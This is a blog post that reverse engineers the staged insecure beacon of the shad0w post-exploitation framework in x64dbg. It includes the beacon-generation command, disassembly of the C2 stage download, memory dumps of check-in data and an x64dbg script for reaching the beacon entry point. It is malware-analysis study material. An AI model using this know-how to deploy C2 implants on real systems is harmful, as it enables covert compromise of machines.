Reversing the shad0w framework part 1

2020-06-29

This post will be the first part in a series that I will hopefully post more often / follow-up on.

This series will go into my thought process while reverse engineering something. Please keep in mind that I am doing this as a hobby and am by no means a professional and/or expert. These posts are meant to give some insight for people that, like me, find it hard to get their feet off (?) the ground with reverse engineering. I hope that these posts will be of value for anyone doubting they can learn stuff like this for one reason or another.

shad0w Post-Exploitation Framework

Before going into the reverse engineering of stuff I want to quickly introduce people to the shad0w framework if they aren’t familiar with it.

shad0w is a post-exploitation framework that is geared towards staying stealthy after compromising a machine. Luckily it has an option to also be insecure in it’s execution, this mode will leave more clues to go after and doesn’t use syscalls to call the necessary API’s that are needed.

The framework is mostly written in C++, this is a good thing when reverse engineering something because it will have less layers of abstraction, making the understanding of the underlying assembly instructions a lot easier. It’s a pretty nice framework, and it can be found at the following location: https://github.com/bats3c/shad0w

Setup

I will briefly describe the tools that I used, and go over the method I used to generate the payload that will be used in this post.

Configuration

I used two machines in this setup:

  • A kali linux machine version 2020.2 – This machine will be used as our C2 machine;

  • A Microsoft Windows 10 x64 Pro Build 18362 – This machine will be used to execute the shad0w payload;

The Kali machine configuration is pretty straight forward and I didn’t really change anything other than cloning the shad0w Github repository, and installing the framework.

The Windows 10 machine was also unchanged, I turned of the Windows security features, just in case.

For this post I will use x64dbg as my main debugger, I don’t really have a good reason for my choice of debugger other than this was the first one I opened when getting started with reverse engineering on Windows. x64dbg just works as intended and unlike OllyDbg I get 5 tabs of memory dumps.

I generated the shad0w insecure payload with the following command:

python3 shad0w.py beacon -p x64/windows -H 192.168.212.130 -f exe -o beacon_insecure_staged.exe

Reverse engineering the stager

Before deep diving into anything I started to look at the code that is used for the stager. Since I’m basing this blogpost on the staged variant of the shad0w beacon, the relevant code can be found in the stager’s main.c file.

This file is really small because all it does is retrieving the stage from the C2, and executing this retrieved stage. It contains two functions: GetStageFromC2 and ExecuteStage.

GetStageFromC2

Starting with the GetStageFromC2 function which is present in the callback.c file (https://github.com/bats3c/shad0w/blob/2e4232a3ab95130c5c1bb6dbbbc8ee268161c049/beacon/stager/callback.c).

We can see in this function that depending on the security setting (secure/insecure), it will choose a payload that will be generated at the C2 side;

It will then include this in the WinHttpSendRequest API call. The response from the C2 will be available in the buffer received from the call to WinHttpReadData which will store the buffer in the space that is allocated by the call to malloc.

The data that is received will be in the form of a base64 blob, this blob is decoded at the call to base64_decode, and returned as a value.

To load in these API calls we will need to set a breakpoint on VirtualAlloc, run it so that it breaks on the call to VirtualAlloc, and read out the value RAX holds to see where the memory was allocated. We’ll also observe that there is a call to the memmove API, followed by a call to RAX which takes us into this newly allocated memory region.

While stepping a little bit further in the execution we will notice that a couple of DLL names will appear being present in the binary:

lea rbx,qword ptr ds:[rsi+244]      | rsi+244:"ole32;oleaut32;wininet;mscoree;shell32"

These DLL’s will be loaded one by one, the wininet DLL holds the necessary API calls that are needed to set up a network connection with the C2.

Run the program until another VirtualAlloc breakpoint is hit, when looking at the memory area RAX is pointing to after VirtualAlloc in the memory dump, a MZ header will show up when stepping over the first call after the above VirtualAlloc breakpoint, this will be the payload. At this point, a loop will be called which will be used to reveal some stuff in memory:

00000000009F6000 25 53 00 5A 6B 35 59 5A 6B 56 4C 54 6D 35 47 52 %S.Zk5YZkVLTm5GR 00000000009F6010 67 3D 3D 00 6E 74 64 6C 6C 2E 64 6C 6C 00 42 6C g==.ntdll.dll.Bl 00000000009F6020 6F 63 6B 65 64 3A 20 25 73 00 00 00 00 00 00 00 ocked: %s....... 00000000009F6030 66 30 6C 59 66 46 35 44 54 30 6C 66 58 32 46 46 f0lYfF5DT0lfX2FF 00000000009F6040 57 45 56 4C 54 56 68 46 51 30 4A 38 51 30 42 46 WEVLTVhFQ0J8Q0BF 00000000009F6050 54 31 55 3D 00 6B 65 72 6E 65 6C 33 32 2E 64 6C T1U=.kernel32.dl

Right below some of those familiar strings we observe above, we can see something else that will be familiar to most:

00000000009F6110 4D 00 6F 00 7A 00 69 00 6C 00 6C 00 61 00 2F 00 M.o.z.i.l.l.a./. 00000000009F6120 35 00 2E 00 30 00 20 00 28 00 57 00 69 00 6E 00 5...0. .(.W.i.n. 00000000009F6130 64 00 6F 00 77 00 73 00 20 00 4E 00 54 00 20 00 d.o.w.s. .N.T. . 00000000009F6140 36 00 2E 00 31 00 3B 00 20 00 57 00 69 00 6E 00 6...1.;. .W.i.n. 00000000009F6150 36 00 34 00 3B 00 20 00 78 00 36 00 34 00 29 00 6.4.;. .x.6.4.). 00000000009F6160 20 00 41 00 70 00 70 00 6C 00 65 00 57 00 65 00 .A.p.p.l.e.W.e. 00000000009F6170 62 00 4B 00 69 00 74 00 2F 00 35 00 33 00 37 00 b.K.i.t./.5.3.7. 00000000009F6180 2E 00 33 00 36 00 20 00 28 00 4B 00 48 00 54 00 ..3.6. .(.K.H.T. 00000000009F6190 4D 00 4C 00 2C 00 20 00 6C 00 69 00 6B 00 65 00 M.L.,. .l.i.k.e. 00000000009F61A0 20 00 47 00 65 00 63 00 6B 00 6F 00 29 00 20 00 .G.e.c.k.o.). . 00000000009F61B0 43 00 68 00 72 00 6F 00 6D 00 65 00 2F 00 34 00 C.h.r.o.m.e./.4. 00000000009F61C0 30 00 2E 00 30 00 2E 00 32 00 32 00 31 00 34 00 0...0...2.2.1.4. 00000000009F61D0 2E 00 38 00 35 00 20 00 53 00 61 00 66 00 61 00 ..8.5. .S.a.f.a. 00000000009F61E0 72 00 69 00 2F 00 35 00 33 00 37 00 2E 00 33 00 r.i./.5.3.7...3. 00000000009F61F0 36 00 00 00 52 6E 68 2F 57 57 56 6C 59 56 4A 2B 6...Rnh/WWVlYVJ+

After a couple of routines with a lot of little trampoline jumps, we will enter a function that seems vaguely familiar to the GetStageFromC2 function. There’s some calls to LoadLibraryA, and a very good indicator that we are about to create a HTTP request: the User-Agent;

lea rcx,qword ptr ds:[9F6110] | Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36

After loading some API calls dynamically, we’ll observe something resembling the stager portion of the code:

mov qword ptr ss:[rbp+38],rax       |
mov rax,qword ptr ss:[rbp+40]       |
mov dword ptr ss:[rsp+30],800100    |
mov qword ptr ss:[rsp+28],0         |
mov qword ptr ss:[rsp+20],0         |
mov r10,qword ptr ss:[rbp+38]       |
mov r9d,0                           |
lea r8,qword ptr ds:[9F624A]        | /stage
lea rdx,qword ptr ds:[9F6258]       | POST
mov rcx,rax                         |
call r10                            | R10 holds the address of WinHttpOpenRequest

When the request is set up, the WinHttpSendRequest will be called with some of the familiar parameters:

mov r9,rdx                          | payload=x64/windows/static
mov r8d,FFFFFFFF                    |
lea rdx,qword ptr ds:[9F62B0]       | Content-Type: application/x-www-form-urlencoded\r\n
mov rcx,rax                         |
call r10    

Here we can see the payload type, as displayed in the code, as well as the content type that is statically set with the request that is being made.

After some more instructions being executed we can see near the and a call with some arguments that are set up. The instruction before this call will place the contents of RAX into RCX. This is the call to the base64_decode and will decode the contents at this location before returning these to execute the stager;

lea rcx,qword ptr ss:[rbp-38]       | &out_len
mov r8,rcx                          | out_len - 1
mov rcx,rax                         | ResBuffer
call <base64_decode>                |

At this point we are at the end of the GetStageFromC2 routine, the next small paragraph will go into the ExecuteStage routine.

ExecuteStage

The location of the decoded base64 blob can be found in RAX after executing the base64_decode function.

Follow the execution until the VirtualAlloc is called again, the memmove instruction after this call will move the decoded buffer someplace else on the heap, followed by a call to RAX which is pointing to the start of this memory area. This routine corresponds with the code that is described in loader.c (https://github.com/bats3c/shad0w/blob/2e4232a3ab95130c5c1bb6dbbbc8ee268161c049/beacon/stager/loader.c#L13).

We are now in the execution routine of the beacon itself, run the executable until the VirtualAlloc breakpoint is hit again and follow RAX upon returning from this call. A routine not unfamiliar to us will now start executing, this is actually the same routine for resolving the imports that are needed, only this time it is because the first check-in is being set up.

This first check-in of the beacon also needs to retrieve the username and hostname of the system the beacon is running on.

A way to verify this is by setting a breakpoint on the WinHttpSendRequest API call and running until the breakpoint is hit. When we look at the memory dump of the address that R9 is holding, we can indeed see something that is resembling the settings of the current beacon, in combination with the username and hostname information of the machine:

000000000066D190 75 73 65 72 6E 61 6D 65 3D 4D 61 6E 64 79 26 64 username=Mandy&amp;d 000000000066D1A0 6F 6D 61 69 6E 3D 4E 55 4C 4C 26 6D 61 63 68 69 omain=NULL&amp;machi 000000000066D1B0 6E 65 3D 44 45 53 4B 54 4F 50 2D 42 47 44 54 34 ne=DESKTOP-BGDT4 000000000066D1C0 36 52 26 61 72 63 68 3D 78 36 34 26 6F 73 3D 57 6R&amp;arch=x64&amp;os=W 000000000066D1D0 69 6E 64 6F 77 73 20 31 30 26 73 65 63 75 72 65 indows 10&amp;secure 000000000066D1E0 3D 49 4E 53 45 43 55 52 45 00 F4 BA FB 7F 00 00 =INSECURE.ôºû...

At this point the beacon will be checked in, this looks a little bit like this in the C2 interface:

After the stage is prepared and loaded into memory the next step will be to change the execution flow to the beacon.

Automagically finding the entry point to the beacon

To make our lives a little bit easier we could automate the x64dbg steps we’d otherwise take using a manual approach.

The following script can be used to run until the entrypoint of the beacon:

// Initial message
msg "OEP find for shad0w insecure beacon"
msg "Please make sure you are at the entrypoint of the executable before you continue"
pause
 
log "Running until entry point of stager"
 
// Set a breakpoint at VirtualAlloc and run until the beacon is 
// written into memory
log "Setting breakpoint at VirtualAlloc"
bp VirtualAlloc
log "Running until stager has finished"
 
// Keep count how many times we hit VirtualAlloc
$runcount = 0
goto virtualalloc_routine
 
// Loop until VirtualAlloc has been hit 6 times
virtualalloc_routine:
erun
rtr
sti
$runcount++
cmp $runcount,6
jb virtualalloc_routine
 
// Look for the pattern call RBP
find cip,"FF D5 33 D2"
cmp $result,0
jz error
 
// Set a breakpoint on the call to RBP and step into the function
log "Found call rbp pattern at [{0}]",$result
bp $result
erun
sti
msg "Reached entrypoint of beacon!"
pause
 
error:
msg "Could not find call rbp pattern!"
ret

To use the above x64dbg script:

Just place the above script anywhere on the system you are debugging the beacon

  • Start x64dbg and select options

  • Click on Set Initialization Script

  • You are prompted with a dialog box with the following title: Set Initialization Script for Debuggee

  • Browse to the location of the script and select the script

  • You can leave the next dialog box empty

  • Remove the breakpoints from earlier sessions

  • Make sure to run until the entry breakpoint (pressing run twice often does the trick)

  • Click on the Script tab in x64dbg

  • Press the spacebar to run it

NOTE: it can take a little while since the stager needs to retrieve the payload that gets compiled at the C2 side. A dialogbox will pop up when the entrypoint of the beacon has been reached.

For the people that want to skip some of the stager reversing steps you can use the above script. Next time we will dive into some of the beacon’s functionalities. After executing the script, and opening the disassembly view in x64dbg, it will look this:

Last updated